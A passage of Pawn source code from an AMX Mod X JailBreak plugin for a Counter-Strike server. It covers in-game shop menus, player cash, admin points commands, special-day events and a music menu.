  1993. case 5:
  1994. {
  1995. if(playerpoints[id] < 1500) {
  1996. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  1997. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 15)
  1998. } else {
  1999. fm_set_user_rendering(id, kRenderFxGlowShell, 0, 0, 0, kRenderTransAlpha, 0)
  2000. set_task(5.0, "RemoveStealth", id)
  2001.  
  2002. ColorChat(0, "^4VIP: %s ^1Buy ^3^"Stealth^" ^1From 5 Seconds", shopname)
  2003. playerpoints[id] -= 1500
  2004. }
  2005. }
  2006. case 6:
  2007. {
  2008. if(playerpoints[id] < 2000) {
  2009. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2010. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 20)
  2011. } else {
  2012. set_bit(g_PlayerVoice, id)
  2013.  
  2014. ColorChat(0, "^4VIP: %s ^1Buy ^3^"Voice^" ^1From 1 Round", shopname)
  2015. playerpoints[id] -= 2000
  2016. }
  2017. }
  2018. }
  2019. }
  2020. else
  2021. ColorChat(id, "^4You have no access to this")
  2022. ActionShopMenu(id)
  2023. }
  2024.  
  2025. public sub_ActionKnifeMenu(id, shopvmenu, item)
  2026. {
  2027. if(item == MENU_EXIT || !is_user_alive(id))
  2028. {
  2029. ActionShopMenu(id)
  2030. return
  2031. }
  2032. new shopname[33]
  2033. get_user_name(id, shopname, 31)
  2034. new Data[7], Name[64], Access, Callback
  2035. menu_item_getinfo(shopvmenu, item, Access, Data,5, Name, 63, Callback)
  2036.  
  2037. new Key = str_to_num(Data)
  2038.  
  2039. switch(Key)
  2040. {
  2041. case 1,2,3:
  2042. {
  2043. if(playerpoints[id] < 1000) {
  2044. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2045. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1000)
  2046. } else {
  2047. new showknifekey[20]
  2048. if(Key == 1) {
  2049. set_bit(g_PlayerCrowbar, id)
  2050. formatex(showknifekey, 19, "CrowBar")
  2051. } else if(Key == 2) {
  2052. set_bit(g_PlayerStunGun, id)
  2053. formatex(showknifekey, 19, "Stun Gun")
  2054. } else if(Key == 3) {
  2055. set_bit(g_PlayerDildo, id)
  2056. formatex(showknifekey, 19, "Dildo")
  2057. }
  2058. Event_CurWeapon(id)
  2059.  
  2060. ColorChat(0, "^4%s ^1Buy ^3^"%s^"", shopname, showknifekey)
  2061. playerpoints[id] -= 1000
  2062. }
  2063. }
  2064. case 4:
  2065. {
  2066. if(playerpoints[id] < 1000) {
  2067. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2068. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1000)
  2069. } else {
  2070. set_bit(g_PlayerBH, id)
  2071. Event_CurWeapon(id)
  2072.  
  2073. ColorChat(0, "^4%s ^1Buy ^3^"Super Bunny Hop Knife^"", shopname)
  2074. playerpoints[id] -= 1000
  2075. }
  2076. }
  2077. case 5:
  2078. {
  2079. if(playerpoints[id] < 1000) {
  2080. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2081. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1000)
  2082. } else {
  2083. set_bit(g_PlayerSpeed, id)
  2084. Event_CurWeapon(id)
  2085.  
  2086. ColorChat(0, "^4%s ^1Buy ^3^"Speed Knife^"", shopname)
  2087. playerpoints[id] -= 1000
  2088. }
  2089. }
  2090. case 6:
  2091. {
  2092. if(playerpoints[id] < 1000) {
  2093. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2094. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 1000)
  2095. } else {
  2096. set_bit(g_PlayerGravity, id)
  2097. Event_CurWeapon(id)
  2098.  
  2099. ColorChat(0, "^4%s ^1Buy ^3^"Gravity Knife^"", shopname)
  2100. playerpoints[id] -= 1000
  2101.  
  2102. }
  2103. }
  2104. }
  2105. // case 7:
  2106. // {
  2107. // if(playerpoints[id] < 35) {
  2108. //emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2109. //ColorChat(id, "^1You need more^4 %d Point^1 for this!", playerpoints[id] - 35)
  2110. //} else {
  2111. //set_bit(g_bHasCellKeys, id)
  2112. //Event_CurWeapon(id)
  2113.  
  2114. //ColorChat(0, "^4%s ^1Buy ^3^"Cell Key^"", shopname)
  2115. //playerpoints[id] -= 35
  2116. // }
  2117. //}
  2118. //}
  2119. ActionShopMenu(id)
  2120. }
  2121.  
  2122. public sub_ActionOtherMenu(id, shopomenu, item)
  2123. {
  2124. if(item == MENU_EXIT || !is_user_alive(id))
  2125. {
  2126. ActionShopMenu(id)
  2127. return
  2128. }
  2129. new shopname[33]
  2130. get_user_name(id, shopname, 31)
  2131. new Data[7], Name[64], Access, Callback
  2132. menu_item_getinfo(shopomenu, item, Access, Data,5, Name, 63, Callback)
  2133.  
  2134. new Key = str_to_num(Data)
  2135.  
  2136. switch (Key)
  2137. {
  2138. case 1:
  2139. {
  2140. if(playerpoints[id] < 15000) {
  2141. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2142. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 15000)
  2143. } else {
  2144. count = 0
  2145.  
  2146. for(user = 1 ; user <= g_max_clients ; user++)
  2147. if(get_user_flags(user) & ADMIN_CVAR)
  2148. count++
  2149. if(count == 0) {
  2150. cs_set_user_team(id, CS_TEAM_CT)
  2151. ExecuteHamB(Ham_CS_RoundRespawn, id)
  2152. ColorChat(0, "^4%s ^1Buy ^3^"Change Team^"", shopname)
  2153. playerpoints[id] -= 15000
  2154. }
  2155. else
  2156. ColorChat(id, "This option dont work because some admin is online.")
  2157. }
  2158. }
  2159. case 2:
  2160. {
  2161. if(playerpoints[id] < 500) {
  2162. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2163. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 500)
  2164. } else {
  2165. cs_set_user_model(id, "vip")
  2166.  
  2167. ColorChat(0, "^4%s ^1Buy ^3^"VIP Model^" ^1Once Round", shopname)
  2168. playerpoints[id] -= 500
  2169. }
  2170. }
  2171. case 3:
  2172. {
  2173. if(playerpoints[id] < 1000) {
  2174. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2175. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 10)
  2176. } else {
  2177. cs_set_user_model(id, "Ex-Woman")
  2178.  
  2179. ColorChat(0, "^4%s ^1Buy ^3^"Admin Model^" ^1Once Round", shopname)
  2180. playerpoints[id] -= 1000
  2181. }
  2182. }
  2183. case 4:
  2184. {
  2185. if(playerpoints[id] < 3000) {
  2186. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2187. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 3000)
  2188. } else {
  2189. fm_set_user_rendering(id, kRenderFxGlowShell, random_num(0, 255), random_num(0, 255), random_num(0, 255), kRenderNormal, 255)
  2190.  
  2191. ColorChat(0, "^4%s ^1Buy ^3^"Freeday^" ^1Once Round", shopname)
  2192. playerpoints[id] -= 3000
  2193. }
  2194. }
  2195. }
  2196. ActionShopMenu(id)
  2197. }
  2198. public sub_ActionOfferMenu(id, shopoffermenu, item)
  2199. {
  2200. if(item == MENU_EXIT || !is_user_alive(id))
  2201. {
  2202. ActionShopMenu(id)
  2203. return
  2204. }
  2205. new shopname[33]
  2206. get_user_name(id, shopname, 31)
  2207. new Data[7], Name[64], Access, Callback
  2208. menu_item_getinfo(shopoffermenu, item, Access, Data,5, Name, 63, Callback)
  2209.  
  2210. new Key = str_to_num(Data)
  2211.  
  2212. switch (Key)
  2213. {
  2214. case 1:
  2215. {
  2216. if(playerpoints[id] < 7500) {
  2217. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2218. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 7500)
  2219. } else {
  2220. fm_set_user_godmode(id, 1)
  2221. set_task(5.0, "RemoveGodmode", id)
  2222. fm_set_user_health(id, 500)
  2223.  
  2224. ColorChat(0, "^4%s ^1Buy ^3^"Small Pack^"", shopname)
  2225. playerpoints[id] -= 7500
  2226. }
  2227. }
  2228. case 2:
  2229. {
  2230. if(playerpoints[id] < 15000) {
  2231. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2232. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 15000)
  2233. } else {
  2234. fm_set_user_godmode(id, 1)
  2235. set_task(6.0, "RemoveGodmode", id)
  2236. fm_set_user_health(id, 1000)
  2237. fm_give_item(id, "weapon_m4a1")
  2238. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_m4a1", id), 1)
  2239. fm_give_item(id, "weapon_deagle")
  2240. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 1)
  2241.  
  2242. ColorChat(0, "^4%s ^1Buy ^3^"Normal Pack^"", shopname)
  2243. playerpoints[id] -= 15000
  2244. }
  2245. }
  2246. case 3:
  2247. {
  2248. if(playerpoints[id] < 22500) {
  2249. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2250. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 22500)
  2251. } else {
  2252. fm_set_user_godmode(id, 1)
  2253. set_task(7.0, "RemoveGodmode", id)
  2254. fm_set_user_health(id, 1500)
  2255. fm_give_item(id, "weapon_awp")
  2256. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
  2257. fm_give_item(id, "weapon_m4a1")
  2258. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_m4a1", id), 1)
  2259. fm_give_item(id, "weapon_deagle")
  2260. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 1)
  2261.  
  2262. ColorChat(0, "^4%s ^1Buy ^3^"Big Pack^"", shopname)
  2263. playerpoints[id] -= 22500
  2264. }
  2265. }
  2266. case 4:
  2267. {
  2268. if(playerpoints[id] < 30000) {
  2269. emit_sound(id, CHAN_BODY, "Extreme-Jail/shop_needpoints.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
  2270. ColorChat(id, "^1You need more^4 %d Cash^1 for this!", playerpoints[id] - 30000)
  2271. } else {
  2272. fm_set_user_godmode(id, 1)
  2273. set_task(7.0, "RemoveGodmode", id)
  2274. fm_set_user_health(id, 2000)
  2275. fm_give_item(id, "weapon_awp")
  2276. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_awp", id), 1)
  2277. fm_give_item(id, "weapon_m4a1")
  2278. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_m4a1", id), 2)
  2279. fm_give_item(id, "weapon_deagle")
  2280. cs_set_weapon_ammo(find_ent_by_owner(1, "weapon_deagle", id), 2)
  2281.  
  2282. ColorChat(0, "^4%s ^1Buy ^3^"Giant Pack^"", shopname)
  2283. playerpoints[id] -= 30000
  2284. }
  2285. }
  2286. }
  2287. ActionShopMenu(id)
  2288. }
  2289. public PlayerPointsMenu(id)
  2290. {
  2291. new shopppmenu = menu_create("\r[\w BeatTheB Jail \r]\y JailBreak Shop Menu\d ^n\yPlayers Cash", "sub_ActionPlayersPoints")
  2292.  
  2293. new name[32], szTempid[10], Item[100]
  2294. for( new i = 1; i <= g_max_clients; i++ )
  2295. {
  2296. if(!is_user_connected(i)) continue
  2297.  
  2298. get_user_name(i, name, sizeof(name) - 1)
  2299. num_to_str(i, szTempid, 9)
  2300.  
  2301. if(playerpoints[i] <= 75000) formatex(_status[id], 20, "Ex Beginner")
  2302. else if(playerpoints[i] <= 150000) formatex(_status[id], 20, "Ex Novice")
  2303. else if(playerpoints[i] <= 225000) formatex(_status[id], 20, "Ex Distinguished")
  2304. else if(playerpoints[i] <= 300000) formatex(_status[id], 20, "Ex Competent")
  2305. else if(playerpoints[i] <= 375000) formatex(_status[id], 20, "Ex Master")
  2306. else if(playerpoints[i] <= 450000) formatex(_status[id], 20, "Ex Winner")
  2307. else if(playerpoints[i] <= 500000) formatex(_status[id], 20, "Ex Killer")
  2308. else if(playerpoints[i] <= 1000000 || playerpoints[i] >= 1000000) formatex(_status[id], 20, "Ex Millyoner")
  2309.  
  2310. formatex(Item, 99, "\y%s \w%d \r%s", name, playerpoints[i], _status[id])
  2311. menu_additem(shopppmenu, Item, szTempid)
  2312. }
  2313. menu_setprop(shopppmenu, MPROP_EXITNAME, "\yExit Shop")
  2314. menu_display(id, shopppmenu)
  2315. }
  2316.  
  2317. public sub_ActionPlayersPoints(client, shopppmenu, item)
  2318. {
  2319. if(item == MENU_EXIT)
  2320. {
  2321. ActionShopMenu(client)
  2322. return
  2323. }
  2324. new data[6], iName[64]
  2325. new _access, callback
  2326. menu_item_getinfo(shopppmenu, item, _access, data,5, iName, 63, callback)
  2327.  
  2328. new tempid = str_to_num(data)
  2329.  
  2330. if(!is_user_connected(tempid)) return
  2331. new name[32]
  2332. get_user_name(tempid, name, sizeof(name) - 1)
  2333.  
  2334. if(playerpoints[tempid] <= 75000) formatex(_status[tempid], 16, "Ex' Beginner")
  2335. else if(playerpoints[tempid] <= 150000) formatex(_status[tempid], 16, "Ex' Novice")
  2336. else if(playerpoints[tempid] <= 225000) formatex(_status[tempid], 16, "Ex' Distinguished")
  2337. else if(playerpoints[tempid] <= 300000) formatex(_status[tempid], 16, "Ex' Competent")
  2338. else if(playerpoints[tempid] <= 375000) formatex(_status[tempid], 16, "Ex' Master")
  2339. else if(playerpoints[tempid] <= 450000) formatex(_status[tempid], 16, "Ex' Winner")
  2340. else if(playerpoints[tempid] <= 500000) formatex(_status[tempid], 16, "Ex' Killer")
  2341. else formatex(_status[tempid], 16, "Ex' Millyoner")
  2342.  
  2343. ColorChat(client, "^4 ^3%s^4 has :^3 %i Cash", name, playerpoints[tempid])
  2344.  
  2345. PlayerPointsMenu(client)
  2346. }
  2347.  
  2348. public Ham_UseButton(iEnt, iAttacker) {
  2349. if (!get_cvar_num("use_buttons"))
  2350. return
  2351. else
  2352. dllfunc(DLLFunc_Use, iEnt, iAttacker)
  2353. }
  2354.  
  2355. ResetMaxspeed(id)
  2356. {
  2357. static Float:max_speed
  2358. switch (get_user_weapon(id))
  2359. {
  2360. case CSW_SG550, CSW_AWP, CSW_G3SG1: max_speed = 210.0
  2361. case CSW_M249: max_speed = 220.0
  2362. case CSW_AK47: max_speed = 221.0
  2363. case CSW_M3, CSW_M4A1: max_speed = 230.0
  2364. case CSW_SG552: max_speed = 235.0
  2365. case CSW_XM1014, CSW_AUG, CSW_GALIL, CSW_FAMAS: max_speed = 240.0
  2366. case CSW_P90: max_speed = 245.0
  2367. case CSW_SCOUT: max_speed = 260.0
  2368. default: max_speed = 250.0
  2369. }
  2370.  
  2371. entity_set_float(id, EV_FL_maxspeed, max_speed)
  2372. }
  2373. public plugin_natives()
  2374. {
  2375. register_native("jb_get_user_points", "_get_user_points");
  2376. register_native("jb_set_user_points", "_set_user_points");
  2377. }
  2378.  
  2379.  
  2380. public _get_user_points( plugin, params )
  2381. {
  2382. return playerpoints[ get_param( 1 ) ];
  2383. }
  2384.  
  2385.  
  2386. public _set_user_points( plugin, params )
  2387. {
  2388. new client = get_param( 1 );
  2389.  
  2390. playerpoints[ client ] = max( 0, get_param( 2 ) );
  2391. }
  2392. public cmd_give_points(id,level,cid)
  2393. {
  2394. if(get_user_flags(id) & ADMIN_RCON)
  2395. {
  2396. new target[32], amount[21], reason[21]
  2397.  
  2398. read_argv(1, target, 31)
  2399. read_argv(2, amount, 20)
  2400. read_argv(3, reason, 20)
  2401.  
  2402. new player = cmd_target(id, target, 8)
  2403.  
  2404. if(! player)
  2405. return PLUGIN_HANDLED
  2406.  
  2407. new admin_name[32], player_name[32]
  2408. get_user_name(id, admin_name, 31)
  2409. get_user_name(player, player_name, 31)
  2410.  
  2411. new pointnum = str_to_num(amount)
  2412.  
  2413. playerpoints[player] += pointnum
  2414.  
  2415. switch(get_cvar_num ("amx_show_activity"))
  2416. {
  2417. case 1: client_print(0, print_chat, "ADMIN: gave %i points for %s.", pointnum, player_name)
  2418. case 2: client_print(0, print_chat, "ADMIN %s: gave %i points for %s.", admin_name, pointnum, player_name)
  2419. }
  2420. client_print(player, print_chat, "You received %i points.(Total: %d)", pointnum, playerpoints[player])
  2421. SaveData(id)
  2422. }
  2423. return PLUGIN_HANDLED
  2424. }
  2425.  
  2426. public cmd_take_points(id,level,cid)
  2427. {
  2428. if(get_user_flags(id) & ADMIN_RCON)
  2429. {
  2430. new target[32], amount[21], reason[21]
  2431.  
  2432. read_argv(1, target, 31)
  2433. read_argv(2, amount, 20)
  2434. read_argv(3, reason, 20)
  2435.  
  2436. new player = cmd_target(id, target, 8)
  2437.  
  2438. if(!player)
  2439. return PLUGIN_HANDLED
  2440.  
  2441. new admin_name[32], player_name[32]
  2442. get_user_name(id, admin_name, 31)
  2443. get_user_name(player, player_name, 31)
  2444.  
  2445. new pointnum = str_to_num(amount)
  2446.  
  2447. playerpoints[player] -= pointnum
  2448.  
  2449. switch(get_cvar_num("amx_show_activity"))
  2450. {
  2451. case 1: client_print(0, print_chat, "ADMIN: took %i points from %s.", pointnum, player_name)
  2452. case 2: client_print(0, print_chat, "ADMIN %s: took %i points from %s.", admin_name, pointnum, player_name)
  2453. }
  2454. client_print(player, print_chat, "You lost %i points. (Total: %d)", pointnum, playerpoints[player])
  2455. SaveData(id)
  2456. }
  2457. return PLUGIN_HANDLED
  2458. }
  2459. public ShowVIP(user)
  2460. {
  2461. ShowAdmin(user)
  2462. new message[256]
  2463. new adminnames[33][32]
  2464. new id, count, x, len
  2465.  
  2466. for(id = 1 ; id <= g_max_clients ; id++)
  2467. if(is_user_connected(id))
  2468. if(get_user_flags(id) & VIP_FLAG || get_vip[id])
  2469. get_user_name(id, adminnames[count++], 31)
  2470. len = format(message, 255, "^4 [Ex`] VIPS ONLINE: ")
  2471. if(count > 0) {
  2472. for(x = 0 ; x < count ; x++) {
  2473. len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"")
  2474. if(len > 96) {
  2475. print_message(user, message)
  2476. len = format(message, 255, "^4 ")
  2477. }
  2478. }
  2479. print_message(user, message)
  2480. }
  2481. else {
  2482. len += format(message[len], 255-len, "No vips online.")
  2483. print_message(user, message)
  2484. }
  2485. }
  2486.  
  2487. public ShowAdmin(user)
  2488. {
  2489. new message[256]
  2490. new adminnames[33][32]
  2491. new id, count, x, len
  2492.  
  2493. for(id = 1 ; id <= g_max_clients ; id++)
  2494. if(is_user_connected(id))
  2495. if(get_user_flags(id) & ADMIN_RCON)
  2496. get_user_name(id, adminnames[count++], 31)
  2497. len = format(message, 255, "^4 [Ex`] TOP ADMINS ONLINE: ")
  2498. if(count > 0) {
  2499. for(x = 0 ; x < count ; x++) {
  2500. len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"")
  2501. if(len > 96) {
  2502. print_message(user, message)
  2503. len = format(message, 255, "^4 ")
  2504. }
  2505. }
  2506. print_message(user, message)
  2507. }
  2508. else {
  2509. len += format(message[len], 255-len, "No top admins online.")
  2510. print_message(user, message)
  2511. }
  2512. }
  2513.  
  2514. public ShowMenu(id, g_ShowMenu, item)
  2515. {
  2516. if(item == MENU_EXIT)
  2517. return
  2518. new Data[7], Name[64], Access, Callback, adname[33]
  2519. get_user_name(id, adname, 31)
  2520. menu_item_getinfo(g_ShowMenu, item, Access, Data,5, Name, 63, Callback)
  2521. new Key = str_to_num(Data)
  2522.  
  2523. switch(Key)
  2524. {
  2525. case 1:
  2526. {
  2527. ColorChat(0, "^4%s^1 started^4 Zombie day !", adname)
  2528. zombieday = true
  2529. ActionZombie()
  2530. }
  2531. case 2:
  2532. {
  2533. ColorChat(0, "^4%s^1 started^4 Hide'n'seek day !", adname)
  2534. hns = true
  2535. ActionHns()
  2536. }
  2537. case 3:
  2538. {
  2539. ColorChat(0, "^4%s^1 started^4 Shark day !", adname)
  2540. ActionShark()
  2541. }
  2542. case 4:
  2543. {
  2544. ColorChat(0, "^4%s^1 started^4 Free day !", adname)
  2545. fd = true
  2546. ActionFree()
  2547. }
  2548. case 5:
  2549. {
  2550. ColorChat(0, "^4%s^1 started^4 NightCrawler Day !", adname)
  2551. ActionNightCrawler()
  2552. nightcrawler = true
  2553. }
  2554. case 6:
  2555. {
  2556. ColorChat(0, "^4%s^1 started^4 RunAway Day !", adname)
  2557. ActionRunAwayDay()
  2558. RunAwayDay = true
  2559. }
  2560. case 7:
  2561. {
  2562. ColorChat(0, "^4%s^1 started^4 Box Day !", adname)
  2563. ActionBoxDay()
  2564. BoxDay = true
  2565. }
  2566. case 8:
  2567. {
  2568. ColorChat(0, "^4%s^1 started^4 Spartan Day !", adname)
  2569. Actionspartanday()
  2570. }
  2571. case 9: ShowMusicMenu(id)
  2572. case 10:
  2573. {
  2574. ColorChat(0, "^4%s^1 started^4 War Day !", adname)
  2575. ActionWarday()
  2576. }
  2577. case 11:
  2578. {
  2579. ColorChat(0, "^4%s^1 started^4 Deathmatch !", adname)
  2580. Deathmatch = true
  2581. ActionDeathmatch()
  2582. }
  2583. case 12:
  2584. {
  2585. ColorChat(0, "^4%s^1 started^4 KnifeDM !", adname)
  2586. knifematchday = true
  2587. ActionKnifeDM()
  2588. }
  2589. case 13:
  2590. {
  2591. ColorChat(0, "^4%s^1 started^4 Birth Day !", adname)
  2592. ActionBirthDay()
  2593. set_task(5.0, "GetRandomPlayer")
  2594. }
  2595. case 14:
  2596. {
  2597. ColorChat(0, "^4%s^1 started^4 Knife Day !", adname)
  2598. ActionKnifeDay()
  2599. knifeday = true
  2600. }
  2601. case 15:
  2602. {
  2603. ColorChat(0, "^4%s^1 started^4 Grenade Day !", adname)
  2604. ActionGrenadeDay()
  2605. grenadeday = true
  2606. }
  2607. case 16:
  2608. {
  2609. ColorChat(0, "^4%s^1 started^4 Deagle Day !", adname)
  2610. ActionNorDealgeDay()
  2611. nordeagleday = true
  2612. }
  2613. case 17:
  2614. {
  2615. ColorChat(0, "^4%s^1 started^4 Jump Day !", adname)
  2616. ActionJumpDay()
  2617. }
  2618. case 18:
  2619. {
  2620. ColorChat(0, "^4%s^1 started^4 Rambo Day !", adname)
  2621. ActionRamboDay()
  2622. }
  2623. case 19:
  2624. {
  2625. ColorChat(0, "^4%s^1 started^4 Fire Day !", adname)
  2626. ActionFireDay()
  2627. fire = true
  2628. }
  2629. case 20:
  2630. {
  2631. ColorChat(0, "^4%s^1 started^4 Special Day", adname)
  2632. set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
  2633. set_task(5.0, "ActionRandomDay")
  2634. set_task(20.0, "ShowSpecialHook")
  2635. if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
  2636. else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
  2637. }
  2638. case 21:
  2639. {
  2640. ColorChat(0, "^4%s^1 started^4 Random Day !", adname)
  2641. set_task(5.0, "ActionRandomDay")
  2642. set_hudmessage(0, 255, 0, 0.08, -1.0, 0, 6.0, 4.0)
  2643. show_hudmessage(0, "Random day will start in 5 seconds !!")
  2644. }
  2645. case 22:
  2646. {
  2647. new g_OptionMenu = menu_create("\r[\w BeatTheB Jail \r]\y Admin Option Menu", "OptionMenu")
  2648.  
  2649. new szNum[3]
  2650. for(new i = 0 ; i < sizeof MessageOpt ; i++) {
  2651. num_to_str(i+1 , szNum , 2)
  2652. menu_additem(g_OptionMenu , MessageOpt[i], szNum)
  2653. }
  2654. menu_display(id, g_OptionMenu)
  2655. }
  2656. } if(Key != 9 && Key != 20 && Key != 21 && Key != 22)
  2657. actiondays = true
  2658. }
  2659. public PlayerShowMENU(id, item)
  2660. {
  2661. if(item == MENU_EXIT)
  2662. return
  2663. new Data[7], Name[64], Access, Callback, adname[33]
  2664. get_user_name(id, adname, 31)
  2665. menu_item_getinfo(g_ShowMenu, item, Access, Data,5, Name, 63, Callback)
  2666. new Key = str_to_num(Data)
  2667.  
  2668. switch(Key)
  2669. {
  2670. case 1:
  2671. {
  2672. ColorChat(0, "^4%s^1 started^4 Zombie day !", adname)
  2673. zombieday = true
  2674. ActionZombie()
  2675. }
  2676. case 2:
  2677. {
  2678. ColorChat(0, "^4%s^1 started^4 Hide'n'seek day !", adname)
  2679. hns = true
  2680. ActionHns()
  2681. }
  2682. case 3:
  2683. {
  2684. ColorChat(0, "^4%s^1 started^4 Shark day !", adname)
  2685. ActionShark()
  2686. }
  2687. case 4:
  2688. {
  2689. ColorChat(0, "^4%s^1 started^4 Free day !", adname)
  2690. fd = true
  2691. ActionFree()
  2692. }
  2693. case 5:
  2694. {
  2695. ColorChat(0, "^4%s^1 started^4 NightCrawler Day !", adname)
  2696. ActionNightCrawler()
  2697. }
  2698. case 6:
  2699. {
  2700. ColorChat(0, "^4%s^1 started^4 RunAway Day !", adname)
  2701. ActionRunAwayDay()
  2702. RunAwayDay = true
  2703. }
  2704. case 7:
  2705. {
  2706. ColorChat(0, "^4%s^1 started^4 Box Day !", adname)
  2707. ActionBoxDay()
  2708. BoxDay = true
  2709. }
  2710. case 8:
  2711. {
  2712. ColorChat(0, "^4%s^1 started^4 Spartan Day !", adname)
  2713. Actionspartanday()
  2714. }
  2715. case 9:
  2716. {
  2717. ColorChat(0, "^4%s^1 started^4 War Day !", adname)
  2718. ActionWarday()
  2719. }
  2720. case 10:
  2721. {
  2722. ColorChat(0, "^4%s^1 started^4 Deathmatch !", adname)
  2723. Deathmatch = true
  2724. ActionDeathmatch()
  2725. }
  2726. case 11:
  2727. {
  2728. ColorChat(0, "^4%s^1 started^4 Birth Day !", adname)
  2729. ActionBirthDay()
  2730. set_task(5.0, "GetRandomPlayer")
  2731. }
  2732. case 12:
  2733. {
  2734. ColorChat(0, "^4%s^1 started^4 Knife Day !", adname)
  2735. ActionKnifeDay()
  2736. knifeday = true
  2737. }
  2738. case 13:
  2739. {
  2740. ColorChat(0, "^4%s^1 started^4 Grenade Day !", adname)
  2741. ActionGrenadeDay()
  2742. grenadeday = true
  2743. }
  2744. case 14:
  2745. {
  2746. ColorChat(0, "^4%s^1 started^4 Deagle Day !", adname)
  2747. ActionNorDealgeDay()
  2748. nordeagleday = true
  2749. }
  2750. case 15:
  2751. {
  2752. ColorChat(0, "^4%s^1 started^4 Jump Day !", adname)
  2753. ActionJumpDay()
  2754. }
  2755. case 16:
  2756. {
  2757. ColorChat(0, "^4%s^1 started^4 Rambo Day !", adname)
  2758. ActionRamboDay()
  2759. }
  2760. case 17:
  2761. {
  2762. ColorChat(0, "^4%s^1 started^4 Fire Day !", adname)
  2763. ActionFireDay()
  2764. fire = true
  2765. }
  2766. case 18:
  2767. {
  2768. ColorChat(0, "^4%s^1 started^4 Special Day", adname)
  2769. set_task(0.25, "GetPlayerDisco",_,_,_, "a", 60)
  2770. set_task(5.0, "ActionRandomDay")
  2771. set_task(20.0, "ShowSpecialHook")
  2772. if(random_num(0,1)) client_cmd(0, "mp3 play ^"sound/Extreme-Jail/ImposibbleMisson.mp3^"")
  2773. else client_cmd(0, "mp3 play ^"sound/Extreme-Jail/KillEveryBody.mp3^"")
  2774. }
  2775. }
  2776. }
  2777. public ShowMusicMenu(id)
  2778. {
  2779. new g_MusicMenu = menu_create("\r[\w BeatTheB Jail \r]\y Music Menu", "MusicMenu")
  2780.  
  2781. new szNum[4]
  2782. for(new i = 0 ; i < sizeof SongsName ; i++) {
  2783. num_to_str(i , szNum , 3)
  2784. menu_additem(g_MusicMenu , SongsName[i], szNum)
  2785. }
  2786. menu_display(id, g_MusicMenu)
  2787. }
  2788.  
  2789. public MusicMenu(id, g_MusicMenu, item)
  2790. {
  2791. if(item == MENU_EXIT)
  2792. return
  2793. new szKey[3], adname[33], Dummy
  2794. get_user_name(id, adname, 32)
  2795. menu_item_getinfo(g_MusicMenu, item, Dummy, szKey, 2, "", 0, Dummy)
  2796.  
  2797. new key = str_to_num(szKey)
  2798. if(key == 0) ShowMusicCustomized(0)
  2799. else if(key == sizeof SongsName-1) {
  2800. client_cmd(0, "mp3 stop;stopsound")
  2801. ColorChat(0, "^4%s ^1stoped the music !", adname)
  2802. } else {
  2803. client_cmd(0, "mp3 play ^"sound/Extreme-Jail/%s.mp3^"", SongsData[key-1])
  2804. ColorChat(0, "^4%s ^1started^3 ^"^1 %s^3 ^"^1 song !", adname, SongsName[key])
  2805. }
  2806. }
  2807.  
  2808. public ShowMusicCustomized(id)
  2809. {
